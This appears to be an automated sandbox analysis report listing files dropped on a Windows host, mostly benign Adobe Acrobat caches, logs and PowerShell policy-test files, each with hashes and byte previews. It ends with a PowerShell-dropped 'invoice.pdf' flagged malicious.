Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"104bbe0ea72bcdc54e8d522a28d13daa","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736532091000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"f258d93b12652781454cbd98c02c502f","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736532090000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"9b195f66c3368b88372f6b6551916226","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736532090000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"3fcbaf0bef20ee404912739ba4f7f347","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736532090000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"92ef9903389b21dddb1e2504d3b59779","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736532090000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"b7e84e1fdd62d412d1d413e080ee73df","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.001384442683019
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7ursB1RZKHs/DQRIpVuV7ba3Ob38Ob3HM/iF:TGufl2GL7msvgOQRyVu1ba+bBbXM/i
MD5:	696BFE91B4C607BC107C4504FA8025D6
SHA1:	119315A194F0155C45184FBA7008129B167F6BE1
SHA-256:	340132511560EE1D7E7F9F3EB28C6D6E5BF007B9147F4BBD8E85D46E8F494A16
SHA-512:	AC1FB22FA29628B851EDB91F4EE5A5A9E46310368E4A9DA10AF555B87CB3D89393A5CB28504EA2539535B223EE1DD843111B3D5EE263364F3A43C267D9A60282
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3652552447029116
Encrypted:	false
SSDEEP:	24:7+tU1RZKHs/Ds/SpMpVuV7ba3Ob38Ob3HM/iWqLhx/XYKQvGJF7ursR:7M0gOVpGVu1ba+bBbXM/zqFl2GL7msR
MD5:	7A39BAAC77CE015E7EBA04947B9BDDD1
SHA1:	74717A70E2837F47E5E19E89B3FE870062A8A19D
SHA-256:	2E81D21FEC0EAAF22E6A7935A7B58674490917D62E3D8AEDAB750C744A5CF851
SHA-512:	3D44D8634183D9A286A52E8C6B3676440A543D4F5E95BF3DB53F92662002CC0D2DDFF40798D76AA007F13043630ABF4177F7F647E0DC4400D51935493B936B6E
Malicious:	false
Preview:	.... .c.....S.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#...z.>.....}.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgyWvuHTioRx6ecDW183ruX1GI40+Yyu:6a6TZ44ADEyWGHTioRx+aXfiK
MD5:	020BCD86432B63A5270C8547556EC9BC
SHA1:	9E4D7090ACB7AC5914B5AE278F9A59F65906ED21
SHA-256:	706B940A05FC176E998A0342D743A1F394071ABEEAC0857E31536C33CE743100
SHA-512:	3B4088EBCF0C5E50B45C7C76F1011969224E0BF2E2CB914D03EA3025E352CBF0150D67FA30ECB703DBCB31B838F3FC7C7BEAEA141563C3F1315799E685C92791
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI97b4.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.493870954423123
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEXl8wlYH:Qw946cPbiOxDlbYnuRK+bDXjlYH
MD5:	9B04D7911B534F3E6F259FAA0EE66FBD
SHA1:	8311E4421A5243D2062B25134377E976B7CAA6DB
SHA-256:	2652CB1545929FE7E76F668608493BC9178E2865489EED4F3A3923FAA78D66B6
SHA-512:	EA9759D6A17BBFBC8735ABEE8485E9A21DDA5A2A340A2882BC06020CCEE5F10483D39784D5154145FA76A9D7093EB5A4BBB6AEFD7A4CEA691B43D2DCC09CDF91
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.3.:.0.1.:.3.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dkzae0yk.sjq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oxd0nq0f.5lp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A916d965k_1ooizvl_8w.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91xpjwft_1ooizvk_8w.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 13-01-24-718.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.349103080304142
Encrypted:	false
SSDEEP:	384:Zi2r+a+a+ydFoKPE6cL2uNSK6E3mB5posb4i0sCMhkd78xWdFmV07Y7GPxfZzcE2:5Wc
MD5:	9DFC35C39B43D91DE519CF1930B80109
SHA1:	9C58AA952384D6975EAA9B01440D528E8B825172
SHA-256:	9082D1514995B3ED040C97A0272DD31D0ECD307AF0B4BDC090CA1C927BDDF131
SHA-512:	EE023081F762C63FB66C23D441DD14D30D18332C83656A96ACEF4FA427FFC06CC1A7FBFA1ADF0A2E5DB97CE83969258BFB8A8136036E02BFFC7DBB32679E80BD
Malicious:	false
Preview:	SessionID=a16248e3-f581-43b3-bb81-5250e9835d61.1736532084747 Timestamp=2025-01-10T13:01:24:747-0500 ThreadID=7444 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=a16248e3-f581-43b3-bb81-5250e9835d61.1736532084747 Timestamp=2025-01-10T13:01:24:748-0500 ThreadID=7444 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=a16248e3-f581-43b3-bb81-5250e9835d61.1736532084747 Timestamp=2025-01-10T13:01:24:748-0500 ThreadID=7444 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=a16248e3-f581-43b3-bb81-5250e9835d61.1736532084747 Timestamp=2025-01-10T13:01:24:748-0500 ThreadID=7444 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=a16248e3-f581-43b3-bb81-5250e9835d61.1736532084747 Timestamp=2025-01-10T13:01:24:748-0500 ThreadID=7444 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.390015205239517
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbV:XB
MD5:	68EB838F08895484F44152F899CEF157
SHA1:	AD1EA5B29AF24B56432208798C5E071C90B1F8CC
SHA-256:	BEA8128C236A20CA5D3DF81CEE693A08D7BC5688C5EBD110D52EE39CABA1965B
SHA-512:	6D3DD0EB8DC7B7EA774DECCAB527FE7676EB6B31352937C45CB992D8AA0DFD74F91C4692D45A4FD1F6EEA1925E57D47A64782283B2103AA4C6FCD09DF1FA8A0D
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\3475742c-573a-4d93-a582-a7087c4614c0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\47770e68-1182-44a8-b615-0954884f847a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/rKdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tOWL07oYGZQeYIGNPB:Ta3mlind9i4ufFXpAXkrfUs0kWLxYGZQ
MD5:	81778DB3CD3E202CD8FEB47572C9DF55
SHA1:	A030EAB46FE2ED66D14270A86F44303F0D742019
SHA-256:	2E4A0CE023C75E0A53D82D4D08DC4ACD144039D04CEA94103C26535CB5B56998
SHA-512:	97BFD23BD03D6E911059092ED0C44779588CE29AE31E8FA1510A7FEE2B92B9E07AE2FFD4614D2566D369E48554269DC95DE42E062E533A4AA5EEC4DBAAAD3D1B
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\66e637a5-f3aa-4abe-b372-da0ce2be68ab.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\771720c6-caa6-4541-8ac0-31505762ab9d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57837
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/VRaWL07oXGZ4YIGNPJKdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07c:tRaWLxXGZ4ZGu3mlind9i4ufFXpAXkrj
MD5:	9606E6A68AACA9A2C4C195A1811D29DB
SHA1:	F3E7DB07B3C70708C9E9C15718D3A3970DA877F1
SHA-256:	8BD601F471A994EA2CCA65267C13D639E5BCABBA64197722B658E63E8AEED1BB
SHA-512:	44D8D170494BAE4635EE114F6BBC2AF6ABFA0012A18279B621CE005F3F9AB9F0F0FA755DBD2B86C3B2CDF26ABD0B3676FBBF402CD19D434AFFCB36087257F2B6
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
